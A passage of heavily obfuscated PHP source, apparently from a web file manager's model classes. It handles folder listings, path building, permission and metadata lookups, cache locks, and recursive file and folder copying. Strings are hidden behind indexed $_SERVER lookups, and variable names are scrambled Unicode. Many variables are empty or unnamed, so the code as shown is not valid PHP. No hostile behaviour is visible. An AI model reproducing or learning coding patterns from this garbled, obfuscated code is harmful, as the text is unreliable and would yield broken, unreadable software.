array(); foreach ($۰ as $Ҡ => $ɮ) { $͂[$ǎ[467] . $Ҡ] = $ɮ; } $this->alias($ǎ[475])->field($µ)->limit($ӈ)->order($഼); $Ϟ = $this->join($)->where($͂)->select(); if ($Ϟ) { $[$ǎ[398]] = $Ϟ; } } protected function _makeOrder($ = false) { $” =& $_SERVER[]; $ӧ = Model($”[476])->get($”[477]); $ = Model($”[476])->get($”[478]); $ʫ = array($”[479] => $”[480], $”[481] => $”[482]); $⁞ = array($”[32] => $”[32], $”[76] => $”[76], $”[174] => $”[441], $”[483] => $”[483], $”[484] => $”[485], $”[201] => $”[201], $”[85] => $”[85]); $𖆨 = Input::get($”[486], $”[7], $ӧ, array_keys($⁞)); $ل = Input::get($”[487], $”[7], $, array_keys($ʫ)); if (!in_array($𖆨, array_keys($⁞))) { $𖆨 = $”[32]; } if (!in_array($ل, array_keys($ʫ))) { $𖆨 = $”[479]; } if ($𖆨 == $”[32]) { } $ՃÚ = $”[488] . $⁞[$𖆨] . $”[53] . $ʫ[$ل]; $ՃÚ = rtrim(trim($ՃÚ), $”[50]); if ($) { return array($ՃÚ, $ʫ[$ل]); } return $this->order($ՃÚ); } protected function _listDataApplyItem($ϐ, $ߥ = false) { $ؑ = array($ϐ); $this->_listDataApply($ؑ, $ߥ); return $ؑ[0]; } protected function _listDataApply(&$ɮ, $ = false) { $ =& $_SERVER[]; if (!$ɮ) { $ɮ = array(); return; } $ӿ = array_to_keyvalue($ɮ, $[12], $[431]); $ӿ = array_unique($ӿ); $this->_listSourceCache($ɮ); if (!$) { $this->_listAppendMeta($ɮ, $ӿ); $this->_listAppendFileMeta($ɮ, $ӿ); $this->_listAppendChildren($ɮ, $ӿ); } $this->_listAppendPath($ɮ); $this->_listAppendAuth($ɮ); $this->_listAppendSourceInfo($ɮ, $ӿ); $this->_listAppendUser($ɮ); $this->_listFilterInfo($ɮ, $); $this->_listAppendAuthSecret($ɮ); } protected function _listSourceCache($) { $͂ =& $_SERVER[]; foreach ($ as $) { self::$cacheSourceInfo[$͂[489] . $[$͂[431]]] = $; } } protected function _listFilterInfo(&$, $柑 = false) { $ =& $_SERVER[]; foreach ($ as &$ؾ) { $ؾ = $this->pathInfoFilter($ؾ); self::$cachePathInfo[$[490] . intval($柑) . $[415] . $ؾ[$[431]]] = $ؾ; } unset($ؾ); } protected function _listMake(&$佳) { $賞 =& $_SERVER[]; $佳[$賞[82]] = array(); $佳[$賞[83]] = array(); foreach ($佳[$賞[398]] as $Џɣ) { $ = $Џɣ[$賞[439]] == 1 ? $賞[82] : $賞[83]; $佳[$][] = $Џɣ; } unset($佳[$賞[398]]); } protected function _listAppendMeta(&$φ›, $ډñ) { $ =& $_SERVER[]; $艴 = array($[446] => array($[447], $ډñ)); $淧 = Model($[491])->field($[492])->where($艴)->select(); if (!$淧) { return; } $ݦԄ = array($[493], $[494], $[473]); $ = array(); foreach ($淧 as $ؤ) { if (!isset($[$ؤ[$[431]]])) { $[$ؤ[$[431]]] = array(); } if (in_array($ؤ[$[94]], $ݦԄ)) { continue; } $[$ؤ[$[431]]][$ؤ[$[94]]] = $ؤ[$[403]]; } foreach ($φ› as &$ü) { $ü[$[495]] = !1; if (isset($[$ü[$[431]]])) { $ü[$[495]] = $[$ü[$[431]]]; } if ($this->fileIsLock($ü) && $ü[$[442]]) { $֒ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ü[$[442]][$[443]] = AuthModel::authDisable($ü[$[442]][$[443]], $֒); $ü[$[442]][$[496]][$[442]] = $ü[$[442]][$[443]]; } } unset($ü); } protected function _listAppendFileMeta(&$݈, $йך) { $ =& $_SERVER[]; $ = array_to_keyvalue($݈, $[12], $[497]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[498] => array($[447], $)); $ą = $[499]; $åޕ = Model($[500])->field($ą)->where($)->select(); $åޕ = array_to_keyvalue($åޕ, $[497]); $ի = Model($[501])->field($[502])->where($)->select(); $ի = $ի ? $ի : array(); $ = array(); foreach ($ի as $) { if (!isset($[$[$[497]]])) { $[$[$[497]]] = array(); } $[$[$[497]]][$[$[94]]] = $[$[403]]; } foreach ($݈ as &$) { $ć = $[$[497]]; if (!$ć || !is_array($åޕ[$ć])) { continue; } $ܿ = $åޕ[$ć]; $ܿ[$[76]] = $[$[76]]; $ܿ[$[32]] = $[$[32]]; if (!isset(self::$cacheFileInfo[$[503] . $ć])) { self::$cacheFileInfo[$[503] . $ć] = array_merge(array(), $ܿ); } unset($åޕ[$ć][$[84]]); $ޫ = is_array($[$ć]) ? $[$ć] : array(); $[$[170]] = array_merge($ޫ, $åޕ[$ć]); if (isset($[$[170]][$[169]])) { $[$[169]] = json_decode($[$[170]][$[169]], !0); unset($[$[170]][$[169]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ߚ =& $_SERVER[]; $ = Model($ߚ[504])->listData(); $߇ = Model($ߚ[454])->listData(); $ = Model($ߚ[444])->listData(); $ƣ = Model($ߚ[505])->listSimple(); $ = array_to_keyvalue($, $ߚ[428]); $ = array_to_keyvalue_group($߇, $ߚ[84], $ߚ[455]); $ = array_to_keyvalue($, $ߚ[84]); $Ͻ = array_to_keyvalue_group($ƣ, $ߚ[431]); foreach ($ as &$՝) { $՝[$ߚ[87]] = array($ߚ[506] => 0, $ߚ[507] => 0, $ߚ[508] => 0); if (isset($[$՝[$ߚ[431]]])) { $՝[$ߚ[87]][$ߚ[509]] = 1; $՝[$ߚ[87]][$ߚ[510]] = $[$՝[$ߚ[431]]][$ߚ[32]]; } if ($ && $ && isset($[$՝[$ߚ[431]]])) { $՝[$ߚ[87]][$ߚ[511]] = array(); foreach ($[$՝[$ߚ[431]]] as $) { $֐ = $[$]; $՝[$ߚ[87]][$ߚ[511]][] = array($ߚ[512] => $֐[$ߚ[428]], $ߚ[449] => $֐[$ߚ[32]], $ߚ[513] => $֐[$ߚ[514]]); } } if ($Ͻ && isset($Ͻ[$՝[$ߚ[431]]])) { $՝[$ߚ[87]][$ߚ[515]] = array(); foreach ($Ͻ[$՝[$ߚ[431]]] as $Ƌ) { $ = $ߚ[516]; if ($Ƌ[$ߚ[517]] == $ߚ[88]) { $ .= $ߚ[518]; } $՝[$ߚ[87]][$ߚ[515]] = array_field_key($Ƌ, explode($ߚ[50], $)); } } } unset($՝); return $; } protected function _listAppendChildren(&$ܞ, $) { $̌ =& $_SERVER[]; $ = array(); $ι = array($̌[207] => 0, $̌[208] => 0); foreach ($ܞ as &$ҔӇ̡) { if (!$ҔӇ̡[$̌[439]]) { continue; } $[] = $ҔӇ̡[$̌[431]]; } unset($ҔӇ̡); if (!$) { return; } $ = array($̌[461] => array($̌[7], $), $̌[460] => 0); $Ϋ = array($̌[461], $̌[439], $̌[519] => $̌[520]); $ = $this->field($Ϋ)->where($)->group($̌[521])->select(); $ط = array(); foreach ($ as $쵠) { $̾ = $쵠[$̌[461]]; $ = $쵠[$̌[439]] == $̌[88] ? $̌[208] : $̌[207]; if (!isset($ط[$̾])) { $ط[$̾] = array($̌[207] => 0, $̌[208] => 0); } $ط[$̾][$] += $쵠[$̌[520]]; } foreach ($ܞ as &$ҔӇ̡) { if (!$ҔӇ̡[$̌[439]]) { continue; } $пμ = is_array($ط[$ҔӇ̡[$̌[431]]]) ? $ط[$ҔӇ̡[$̌[431]]] : $ι; $ҔӇ̡[$̌[208]] = $пμ[$̌[208]]; $ҔӇ̡[$̌[207]] = $пμ[$̌[207]]; unset($ҔӇ̡[$̌[441]]); } unset($ҔӇ̡); } protected function _listAppendAuth(&$) { $ =& $_SERVER[]; $ʿ = array(); foreach ($ as $) { if ($[$[440]] == self::TYPE_GROUP) { $ʿ[] = $[$[431]]; } } if (!$ʿ) { return; } $ = array_to_keyvalue($, $[431]); $ = Model($[522])->getSourceList($ʿ, $); $ = $GLOBALS[$[523]] == 1; foreach ($ as $ => &$) { $[$[442]] = $[$[$[431]]]; if (!$[$[442]] && $[$[440]] == self::TYPE_GROUP) { $[$[442]] = Action($[524])->pathGroupAuthMake($[$[525]]); if (!$[$[442]] && !$) { $[$[203]] = !1; $[$[202]] = !1; } } if ($[$[442]]) { $[$[203]] = AuthModel::authCheckEdit($[$[442]][$[443]]); $[$[202]] = AuthModel::authCheckView($[$[442]][$[443]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $߸ =& $_SERVER[]; if (Model($߸[464])->get($߸[526]) != $߸[88]) { return; } static $†՝ = false; if (!$†՝) { $˨ = Model($߸[527]); $ = Model($߸[528]); $†՝ = $->listData(); $†՝ = array_to_keyvalue($†՝, $߸[431]); $ = json_decode(Model($߸[464])->get($߸[529]), !0); $ = array_to_keyvalue($, $߸[428]); foreach ($†՝ as $ſ => $) { $Υ = $[$[$߸[530]]]; if (!$Υ) { $->remove($[$߸[428]]); unset($†՝[$ſ]); continue; } $ = $˨->listData($Υ[$߸[442]]); if (!$) { $->remove($[$߸[428]]); unset($†՝[$ſ]); continue; } $[$߸[442]] = $; $[$߸[531]] = $Υ; $[$߸[532]] = Model($߸[533])->getInfoSimpleOuter($[$߸[483]]); $†՝[$ſ] = $; } } $ֶ = USER_ID; $ܨ = array(); $ = $this->_listAppendPath($ܨ, !0); foreach ($ as $ſ => &$) { if (!is_array($[$߸[442]])) { continue; } if ($[$߸[440]] != $߸[534]) { continue; } if (isset($†՝[$[$߸[431]]])) { $ = $†՝[$[$߸[431]]]; if (!is_array($[$߸[495]])) { $[$߸[495]] = array(); } $[$߸[495]][$߸[535]] = $[$߸[530]]; $[$߸[442]][$߸[536]] = $; $[$߸[442]][$߸[537]] = $[$߸[538]]; $[$߸[442]][$߸[539]] = $߸[88]; if ($[$߸[483]] != $ֶ) { $[$߸[442]][$߸[443]] = $[$߸[442]][$߸[443]] & $[$߸[442]][$߸[442]]; } continue; } $ = $this->parentLevelArray($[$߸[540]]); $ʲ = array_reverse($); foreach ($ʲ as $т => $) { if (!isset($†՝[$])) { continue; } $ = $†՝[$]; $[$߸[442]][$߸[536]] = $; if ($[$߸[483]] != $ֶ) { $[$߸[442]][$߸[443]] = $[$߸[442]][$߸[443]] & $[$߸[442]][$߸[442]]; } $􁳎 = $߸[12]; $󎃺 = count($) - $т; for ($՘ = 0; $՘ < $󎃺; $՘++) { if (!isset($[$[$՘]])) { $􁳎 = $߸[12]; break; } $􁳎 = $􁳎 . rtrim($[$[$՘]], $߸[8]) . $߸[8]; } $[$߸[442]][$߸[537]] = rtrim($􁳎, $߸[8]) . $߸[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ڋ =& $_SERVER[]; if ($[$ڋ[440]] != self::TYPE_GROUP) { return; } $к = Model($ڋ[541])->getInfo($[$ڋ[525]]); $ = $this->parentLevelArray($к[$ڋ[540]]); $Нކ = $ڋ[12]; foreach ($ as $) { $ = Model($ڋ[541])->getInfo($); $Нކ .= $[$ڋ[87]][$ڋ[431]] . $ڋ[50]; } $[$ڋ[542]] = $к[$ڋ[461]]; $[$ڋ[543]] = $к[$ڋ[540]]; $[$ڋ[544]] = $к[$ڋ[545]]; $[$ڋ[546]] = $Нކ . $к[$ڋ[87]][$ڋ[431]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ӝ = array(); $ׄ = array(); $늑 = array(); if ($) { return $ӝ; } foreach ($ as &$Α) { $Ѵ = $Α[$[431]]; if ($Α[$[439]] == $[88] && $Α[$[461]] != 0) { $ӝ[$Ѵ] = $Α[$[32]]; } if ($Α[$[439]] == $[88] && $Α[$[461]] == 0 && !isset($ӝ[$Ѵ])) { $ӝ[$Ѵ] = $this->_listAppendPathRoot($Α, array()); } if (isset($늑[$Α[$[540]]])) { continue; } $늑[$Α[$[540]]] = !0; $֔ = $this->parentLevelArray($Α[$[540]]); foreach ($֔ as $Ҋ => $LJ) { if (isset($ӝ[$LJ])) { continue; } if ($Ҋ == 0) { $ӝ[$LJ] = $this->_listAppendPathRoot($Α, $֔); } if ($Ҋ != 0) { $ׄ[] = $LJ; } } } unset($Α); $ׄ = array_unique($ׄ); if (count($ׄ) > 0) { $ = array($[446] => array($[447], $ׄ)); if (count($ׄ) == 1) { $۵ = $this->sourceInfo($ׄ[0]); $ׄ = is_array($۵) ? array($۵) : !1; } else { $ׄ = $this->field($[547])->where($)->select(); } if (!$ׄ) { $ׄ = array(); } foreach ($ׄ as $) { $ӝ[$[$[431]]] = $[$[32]]; } } $ڣ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ǵ = array(); foreach ($ as &$Α) { $ْĔ = $Α[$[540]]; $ڔ = $[12]; if (isset($Ǵ[$ْĔ])) { $ڔ = $Ǵ[$ْĔ]; } else { $֔ = $this->parentLevelArray($Α[$[540]]); foreach ($֔ as $Ҋ => $LJ) { if (isset($ӝ[$LJ])) { $ڔ .= $ӝ[$LJ] . $[8]; } } $Ǵ[$ْĔ] = $ڔ; } $ڔ .= $Α[$[32]]; if ($Α[$[439]] == $[88]) { $ڔ .= $[8]; } $Α[$[538]] = str_replace($[548], $[8], $ڔ); if ($Α[$[461]] == $[198]) { $Α[$[32]] = trim($ӝ[$Α[$[431]]], $[8]); $Α[$[538]] = $Α[$[32]] . $[8]; } if (intval($Α[$[440]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($Α, $֔, $ڣ); } } unset($Α); return $; } private function _listAppendPathRecycle(&$ŵ, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $ŵ[$[431]] != $) { return; } $ = explode($[8], trim($ŵ[$[538]], $[8])); $ = implode($[8], array_slice($, 2)); $ŵ[$[538]] = $[8] . LNG($[549]) . $[8] . ltrim($, $[8]); $ŵ[$[540]] = $[550] . implode($[50], array_slice($, 1)) . $[50]; if ($ŵ[$[431]] == $) { $ŵ[$[540]] = $[550]; $ŵ[$[461]] = $[198]; $ŵ[$[32]] = LNG($[549]); } $ŵ[$[551]] = $[552]; } protected function _listAppendPathRoot(&$ⲻ, $) { $ =& $_SERVER[]; static $ = false; $ = $[12]; if ($ⲻ[$[440]] == self::TYPE_USER) { if ($ⲻ[$[525]] == USER_ID) { $ = LNG($[553]); if ($ === !1) { $ĥ = Model($[554])->getInfoFull(USER_ID); $ = _get($ĥ, $[555], $[12]); } if ($ && $[0] == $ || !$ && $ⲻ[$[431]] == $) { $ = LNG($[556]); $ⲻ[$[557]] = $[558]; } if (!$) { $ⲻ[$[32]] = $; } } else { $ = Model($[533])->getInfoSimple($ⲻ[$[525]]); $ = LNG($[559]) . $[162] . $[$[32]] . $[164]; $ⲻ[$[560]] = array($[32] => $[$[32]], $[561] => $[$[561]], $[562] => $[$[562]]); } } else { if ($ⲻ[$[440]] == self::TYPE_GROUP) { $ = Model($[541])->getInfoSimple($ⲻ[$[525]]); $ = $[$[32]]; } else { if ($ⲻ[$[440]] == self::TYPE_SYSTEM) { $ = $[563]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[483]); $ = array_to_keyvalue($, $[12], $[485]); $ލ = array_merge($, $); $ = Model($[554])->userListInfo($ލ); foreach ($ as &$ڮ胘) { $ԡ = $ڮ胘[$[483]]; $ڮ胘[$[483]] = $[$ԡ] ? $[$ԡ] : !1; $ԡ = $ڮ胘[$[485]]; $ڮ胘[$[485]] = $[$ԡ] ? $[$ԡ] : !1; if (isset($ڮ胘[$[495]]) && $ڮ胘[$[495]][$[564]]) { $ = $GLOBALS[$[6]][$[89]][$[565]]; if ($ڮ胘[$[495]][$[566]] <= time() - $) { $this->metaSet($ڮ胘[$[431]], $[564], null); $this->metaSet($ڮ胘[$[431]], $[566], null); unset($ڮ胘[$[495]][$[564]]); continue; } $ = $ڮ胘[$[495]][$[564]]; $ڮ胘[$[495]][$[567]] = Model($[554])->getInfoSimpleOuter($); } } unset($ڮ胘); } public function parentLevelArray($๎) { $˜ =& $_SERVER[]; $๎ = explode($˜[50], trim($๎, $˜[50])); return array_remove_value($๎, $˜[198]); } public function listAll($֗) { $Ұ =& $_SERVER[]; $ʼգ = $this->sourceInfo($֗); $Ɩ = array($Ұ[568] => array($Ұ[569], $ʼգ[$Ұ[540]] . $֗ . $Ұ[570]), $Ұ[571] => 0); $߫ = $Ұ[572]; $ = "\114\x45\x46\124\40\x4a\117\111\116\x20{$this->tablePrefix}\151\157\137\x66\151\154\x65\40\146\x69\x6c\x65\x20\x6f\x6e\x20\x73\157\x75\162\143\x65\x2e\x66\151\154\x65\111\104\40\75\x20\146\x69\x6c\145\x2e\x66\x69\x6c\145\111\104"; $ə = $this->alias($Ұ[475])->field($߫)->where($Ɩ)->join($)->select(); $this->_listAppendAuth($ə); $this->_listAppendUser($ə); $this->_listAppendPath($ə); $ə = array_to_keyvalue($ə, $Ұ[431]); $շ = "\57{$ʼգ[$Ұ[32]]}\x2f"; $շ = $շ == $Ұ[548] ? $Ұ[8] : $շ; $ = array(); foreach ($ə as $ŗՑ => $) { $✳ = $this->parentLevelArray($[$Ұ[540]]); array_shift($✳); $ = $շ; for ($ߡٷ = 0; $ߡٷ < count($✳); $ߡٷ++) { $ .= $ə[$✳[$ߡٷ]][$Ұ[32]] . $Ұ[8]; } $ .= $[$Ұ[32]]; if ($[$Ұ[439]]) { $ .= $Ұ[8]; } $ = array($Ұ[450] => str_replace($Ұ[548], $Ұ[8], str_replace($Ұ[548], $Ұ[8], str_replace($Ұ[548], $Ұ[8], $))), $Ұ[573] => intval($[$Ұ[439]]), $Ұ[574] => intval($[$Ұ[76]]), $Ұ[85] => intval($[$Ұ[85]]), $Ұ[87] => $this->pathInfoFilter($)); if (!$[$Ұ[439]]) { $[$Ұ[497]] = $[$Ұ[497]]; } $[] = $; } $ = array_sort_by($, $Ұ[84]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($׍) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[575], $׍); $萓ܺ = 1; $this->_lockEvent($׍, array($[576], $[577]), $萓ܺ); $this->_lockParent($׍, array($[577]), $萓ܺ); $this->_lockEvent($׍, array($[578], $[579]), $萓ܺ); $this->_lockCheckEnd($[575], $׍); } public function lockCopyEnd($) { $ኴ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($ኴ[576], $ኴ[577]), $); $this->_lockParent($, array($ኴ[577]), $); $this->_lockEvent($, array($ኴ[578], $ኴ[579]), $); } public function lockWriteStart($ڎ, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[576], $ڎ); $ = 1; $this->_lockKey($[580] . $ڎ . $[10] . $, $); $this->_lockEvent($ڎ, array($[575], $[577]), $); $this->_lockParent($ڎ, array($[575], $[577]), $); $this->_lockCheckEnd($[576], $ڎ); } public function lockWriteEnd($ҕ, $چ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $É = 0; $this->_lockKey($[580] . $ҕ . $[10] . $چ, $É); $this->_lockEvent($ҕ, array($[575], $[577]), $É); $this->_lockParent($ҕ, array($[575], $[577]), $É); } public function lockMoveStart($鋓) { $Ý =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ý[577], $鋓); $÷ = 1; $this->_lockKey($Ý[581] . $鋓, $÷); $this->_lockEvent($鋓, array($Ý[575], $Ý[576]), $÷); $this->_lockParent($鋓, array($Ý[575], $Ý[577]), $÷); $this->_lockEvent($鋓, array($Ý[582], $Ý[578], $Ý[579]), $÷); $this->_lockCheckEnd($Ý[577], $鋓); } public function lockMoveEnd($׳͇) { $֞ =& $_SERVER[]; if (!$this->allowLock()) { return; } $𬒏 = 0; $this->_lockKey($֞[581] . $׳͇, $𬒏); $this->_lockEvent($׳͇, array($֞[575], $֞[576]), $𬒏); $this->_lockParent($׳͇, array($֞[575], $֞[577]), $𬒏); $this->_lockEvent($׳͇, array($֞[582], $֞[578], $֞[579]), $𬒏); } private function _lockCheck($, $ɬ) { $ =& $_SERVER[]; $󾋇 = $this->sourceInfo($ɬ); $ = $ . $[10] . $ɬ; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($󾋇)) { return; } $ = LNG($[583]); CacheLock::setErrorMsg($[162] . htmlspecialchars($󾋇[$[32]]) . $[164] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($󾋇[$[540]])); foreach ($ as $) { $ = $ . $[584] . $; if (CacheLock::lockGet($[585] . $)) { $󾋇 = $this->sourceInfo($); CacheLock::setErrorMsg($[162] . htmlspecialchars($󾋇[$[32]]) . $[164] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($򞷦, $ݥ) { $ =& $_SERVER[]; $ = $򞷦 . $[10] . $ݥ; CacheLock::setErrorMsg($[407]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[489] . $ݥ]); } $ټ = $this->sourceInfo($ݥ); if (!$ټ) { show_json(LNG($[105]), !1); } } private function _lockParent($, $, $ɵ) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][540]])); foreach ($ as $ۅ) { $this->_lockEvent($ۅ, $, $ɵ); } } private function _lockEvent($, $柳, $) { $̶Ӗ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($柳 as $) { $ = $ . $̶Ӗ[10] . $; if ($ && CacheLock::lockGet($̶Ӗ[585] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ܳ, $ = 1) { $Ƥ = $_SERVER[][585] . md5($ܳ); if ($) { if (isset(self::$_lockItemArr[$Ƥ])) { return; } self::$_lockItemArr[$Ƥ] = 1; CacheLock::lock($Ƥ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Ƥ])) { return; } unset(self::$_lockItemArr[$Ƥ]); CacheLock::unlock($Ƥ); } } public function isParentOf($вػ, $ʟ) { $䥜 =& $_SERVER[]; $Ƃ = $this->sourceInfo($вػ); $ = $this->sourceInfo($ʟ); $ٚ = $Ƃ[$䥜[540]] . $Ƃ[$䥜[431]] . $䥜[50]; $ = $[$䥜[540]] . $[$䥜[431]] . $䥜[50]; $à = strpos($, $ٚ) === 0; return $Ã; } private $targetIsDelete = 0; public function copy($㗻, $Կ©ӡ, $ = REPEAT_REPLACE, $Ї = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($㗻); $Ǭ = $this->sourceInfo($Կ©ӡ); if (!$ || !$Ǭ || $Ǭ[$[439]] != $[88]) { return !1; } if ($this->isParentOf($㗻, $Կ©ӡ)) { return !1; } $얬 = $Ї ? $Ї : $[$[32]]; $this->lockCopyStart($㗻); $this->lockWriteStart($Կ©ӡ, $얬); $ߖ = array($[586] => array(), $[587] => array(), $[588] => array()); $this->targetIsDelete = intval($[$[460]]); $ = $this->fileNameExistCache($Կ©ӡ, $[$[32]]); $ڱ = $this->_copy($㗻, $Կ©ӡ, $, $ߖ, !0, $Ї); $this->_childrenListClear(); $this->lockCopyEnd($㗻); $this->lockWriteEnd($Կ©ӡ, $얬); if ($[$[439]] == $[88] && $ == $ڱ) { $this->folderSizeResetChildren($); } Model($[589])->addAll($ߖ[$[587]], array(), !0); if ($ != $ڱ || $[$[439]] == $[88]) { Model($[590])->eventCopy($ڱ); } $this->saveAll($ߖ[$[588]]); Model($[200])->linkAdd($ߖ[$[586]]); $this->folderSizeReset($Կ©ӡ); $this->updateModifyTime($Կ©ӡ); return $ڱ; } private function _copy($ퟱϢ, $Ӆ, $΀, &$풌, $ഄ, $߂ = '') { $ߍ =& $_SERVER[]; $ = $this->sourceInfoCache($ퟱϢ); $ٶ = $[$ߍ[439]] == $ߍ[88]; $ = $߂ ? $߂ : $[$ߍ[32]]; $䒟 = $this->fileNameExistCache($Ӆ, $); if ($ഄ) { $this->_childrenAllMake($ퟱϢ); if ($ٶ && $䒟) { $this->_childrenAllMake($䒟); } } if (!$䒟) { return $this->_copyCreate($ퟱϢ, $Ӆ, $, $풌); } $ = $䒟; if ($ٶ) { if ($΀ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ӆ, $, $΀, $ٶ); $ = $this->_copyCreate($ퟱϢ, $Ӆ, $, $풌); } else { $텥 = $this->_childrenList($ퟱϢ); foreach ($텥 as $) { $this->_copy($[$ߍ[431]], $䒟, $΀, $풌, !1); } } } else { if ($΀ == REPEAT_RENAME || $΀ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ӆ, $, $΀, $ٶ); $ = $this->_copyCreate($ퟱϢ, $Ӆ, $, $풌); } else { if ($΀ == REPEAT_REPLACE) { $ג = $this->sourceInfoCache($䒟); $ = $this->fileHistory($ג, $[$ߍ[497]], $[$ߍ[76]]); if ($) { $풌[$ߍ[586]][] = $[$ߍ[497]]; } } else { if ($΀ == REPEAT_SKIP) { } } } Hook::trigger($ߍ[591], array($ߍ[592], $, 0)); } return $; } private function _copyCreate($Ե, $ʥ덗, $, &$) { $ׁ =& $_SERVER[]; $ે = $this->sourceInfoCache($Ե); $ = $this->sourceInfoCache($ʥ덗); $Ή = $this->_makeItemData($ે, $, $); Hook::trigger($ׁ[593], $Ή); Hook::trigger($ׁ[594], array($ׁ[595], $Ή, 0)); $ڜ = $this->add($Ή); $ାÔ = array($ׁ[431] => $ڜ, $ׁ[32] => $); $this->_copyApplyMeta($ାÔ, $); if ($ે[$ׁ[439]] != $ׁ[88]) { $[$ׁ[586]][] = $ે[$ׁ[497]]; return $ڜ; } $񼞮 = array(); $ͬ = array(); $this->_childrenListAll($Ե, $񼞮); $ɉ䟯 = count($񼞮); if ($ɉ䟯 == 0) { return $ڜ; } $ = $this->sourceInfo($ڜ); foreach ($񼞮 as $) { $Ŭ = $this->_makeItemData($, $, $[$ׁ[32]]); $Ŭ[$ׁ[540]] = $[$ׁ[540]]; $ͬ[] = $Ŭ; } $this->chunkEventSet($ׁ[596], array($ׁ[597], $Ή, $ɉ䟯)); $this->addAll($ͬ, array(), !1); $ = $this->where(array($ׁ[461] => $ڜ))->select(); $󞍵 = $this->_childrenMakeRelation($񼞮, $); $󞍵[$Ե] = $ڜ; $ݓ = array(); $ȡ = array(); foreach ($ as $) { $ = $[$ׁ[431]]; $Ҿ = $this->_childrenMatch($󞍵, $, $); $ݓ[] = array($ׁ[431], $, $ׁ[461], $Ҿ[$ׁ[461]]); $ȡ[] = array($ׁ[431], $, $ׁ[540], $Ҿ[$ׁ[540]]); $this->_copyApplyMeta($, $); if ($[$ׁ[439]] != $ׁ[88]) { $[$ׁ[586]][] = $[$ׁ[497]]; } } $this->chunkEventSet($ׁ[598], array($ׁ[599], $Ή, $ɉ䟯)); $this->saveAll($ݓ); $this->chunkEventSet($ׁ[600], array($ׁ[601], $Ή, $ɉ䟯)); $this->saveAll($ȡ); return $ڜ; } private function _childrenMakeRelation($πݹ, $) { $ӯϱ =& $_SERVER[]; $듍 = array(); $ܳ = array(); foreach ($πݹ as $䶮漫) { $ʱ = $䶮漫[$ӯϱ[32]] . $ӯϱ[8] . $䶮漫[$ӯϱ[540]]; $듍[$ʱ] = $䶮漫[$ӯϱ[431]]; } foreach ($ as $䶮漫) { $ʱ = $䶮漫[$ӯϱ[32]] . $ӯϱ[8] . $䶮漫[$ӯϱ[540]]; $ = $듍[$ʱ]; $ܳ[$] = $䶮漫[$ӯϱ[431]]; } return $ܳ; } private function _childrenMatch($ķ, $˔, $큵) { $݂ =& $_SERVER[]; $ף = $큵[$݂[540]]; $ӈ = $this->parentLevelArray($˔[$݂[540]]); foreach ($ӈ as $) { if (isset($ķ[$])) { $ף .= $ķ[$] . $݂[602]; } } $ף = rtrim($ף, $݂[50]) . $݂[50]; $ئć = $this->parentLevelArray($ף); $܎ڟ = $ئć[count($ئć) - 1]; return array($݂[461] => $܎ڟ, $݂[540] => $ף); } private function _makeItemData($, $ɢ, $哗) { $ =& $_SERVER[]; $ﳶ = array($[603] => $[$[439]], $[449] => $哗, $[604] => $[$[441]] ? $[$[441]] : $[12], $[498] => $[$[497]] ? $[$[497]] : 0, $[574] => $[$[76]] ? $[$[76]] : 0, $[605] => intval($ɢ[$[440]]), $[606] => intval($ɢ[$[525]]), $[607] => intval(USER_ID), $[608] => intval(USER_ID), $[430] => intval($ɢ[$[431]]), $[609] => $ɢ[$[540]] . $ɢ[$[431]] . $[50], $[453] => $[$[85]] ? $[$[85]] : time(), $[459] => 0, $[610] => $[12]); return $ﳶ; } private function _copyApplyMeta($, &$옸) { $ؔ =& $_SERVER[]; $ݑ = $[$ؔ[431]]; $ = $[$ؔ[32]]; if (!isset($[$ؔ[611]]) || !$[$ؔ[611]] || $[$ؔ[611]] == $ؔ[198]) { $옸[$ؔ[588]][] = array($ؔ[431], $ݑ, $ؔ[611], short_id($ݑ)); } if (Input::check($, $ؔ[612])) { $옸[$ؔ[587]][] = array($ؔ[431] => $ݑ, $ؔ[94] => $ؔ[494], $ؔ[403] => str_replace($ؔ[53], $ؔ[12], Pinyin::get($))); $옸[$ؔ[587]][] = array($ؔ[431] => $ݑ, $ؔ[94] => $ؔ[493], $ؔ[403] => Pinyin::get($, $ؔ[613])); } $옸[$ؔ[587]][] = array($ؔ[431] => $ݑ, $ؔ[94] => $ؔ[473], $ؔ[403] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($鯕) { $ =& $_SERVER[]; $ = $this->sourceInfo($鯕); $ = $[614]; 